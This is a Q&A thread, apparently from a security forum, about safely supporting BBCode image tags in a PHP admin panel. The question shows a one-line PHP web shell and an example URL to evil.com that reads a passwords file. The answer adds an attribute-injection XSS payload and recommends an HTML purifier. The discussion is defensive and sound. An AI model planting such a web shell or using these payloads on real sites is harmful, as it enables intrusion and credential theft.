1

I'm trying to make a kind of administratorpanel for my website, so I could e.g. easily add news articles to my website. The problem is that the administrators should be able to use a kind of BBCode, but I need to do this in a secure way.

For tags like [h1], [b] and [i] there is no problem. They can just be replaced with <h1>, <b> and <i>. But I'm encountering problems with, for example, the [img] tag.

[img]http://image-host.com/cat.png[/img] ain't a problem if I replace the [img] with <img>. But this would be a problem, just to give an example:

[img]http://evil.com/shell.php?cmd=echo $(cat passwords.txt) > stolenPasswords.txt"[/img]

Users reacting with an image, or an evil administrator could give the URL to a shell or other evil code.

Tested with this code:

test1.php:

<html>
        <img src="cat.jpeg" /><br>
        <img src="http://localhost/test2/danger1.php?cmd=echo $(cat ../test/passwords.txt) > stolenPasswords.txt" />
</html>

danger1.php:

<?php
        $x = system($_GET["cmd"]);
?>

Will normal image-validating also satisfy even if it's remote? IMHO not because evil.com could be a Nginx server on which .png images can be interpreted as code.

I'm asking on how to do it in code (PHP), but also on how to secure it by server-configuration.

TL;DR
How can I secure the panel which allows administrators and users to set bold and italic text and images by using something like BBCode-like tags?

  • 2
    The thing I would be worried about is XSS, but that doesn't seem to be what the question is about? I'm not sure what you are worried about here. The localhost here would be the client machine where the user visits the website, not your server. Why would the client visiting the admin panel have a local server running with a backdoor in a specific file named danger1.php? – Anders Jan 2 '17 at 13:09
  • It's in general about protection against XSS but also other vulnerabilities which could occur with inclusion , and in my example the client has a separated server evil.com; localhost is only in the example-code I used. – O'Niel Jan 2 '17 at 13:48
  • I think just asking about security in general makes the question to broad - it basically boils down to "How do I write a safe bbcode engine?" If I were you I would instead focus on just the specific test case with the image. And there I would recommend you to try to explain what attack you are worried about, because right now the scenario makes no sense to me. But maybe I am missing something, I am known to think slow sometimes... :-) – Anders Jan 2 '17 at 14:26
  • I'm with @Anders. The example of RCE as it is currently worded has too many pre-conditions and is generally not the concern with processors like BBCode. The primary concern is XSS. You'll see XSS in Markdown, BBCode, MediaWiki markup, etc. The more general question is "how do I write a safe BBCode engine?" which is quite broad. If the question is about XSS, you might get a better response. That isn't to say RCE can't happen with BBCode, but usually not in the way it is currently worded. – h4ckNinja Jan 2 '17 at 20:33
2

If there is a web shell (like the one danger1.php) on your server it is already game over. It can easily be exploited without the use of BBCode. On the other hand, if there is a web shell on evil.com that is a problem for the poor guy owning that domain, not for you.

It would become a problem for you if you download any images users use to your own server. Then you would have a whole host of problems to worry about - malware of all sorts, PHP hidden in valid images, and so on. That would be dangerous business.

But if you are just replacing [img]url[/img] with <img src="url"> you are not downloading the image to your server. You are hot linking it. The visitors of your site will not be downloading the images from your server, but from whatever server they are linked from.

So it seems like you are worried about the wrong problem here. What you should be scared off is XSS. What about this image?

[img]https://example.com/cat.png" onClick="alert('XSS')[/img]

Protecting against XSS in a BBCode implementation is famously hard. Many have tried but failed. There is a PHP BBCode extension, but I don't know if it is any good. You should probably disable as many tags as possible and plug the output into a HTML purifier to be on the safe side.

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.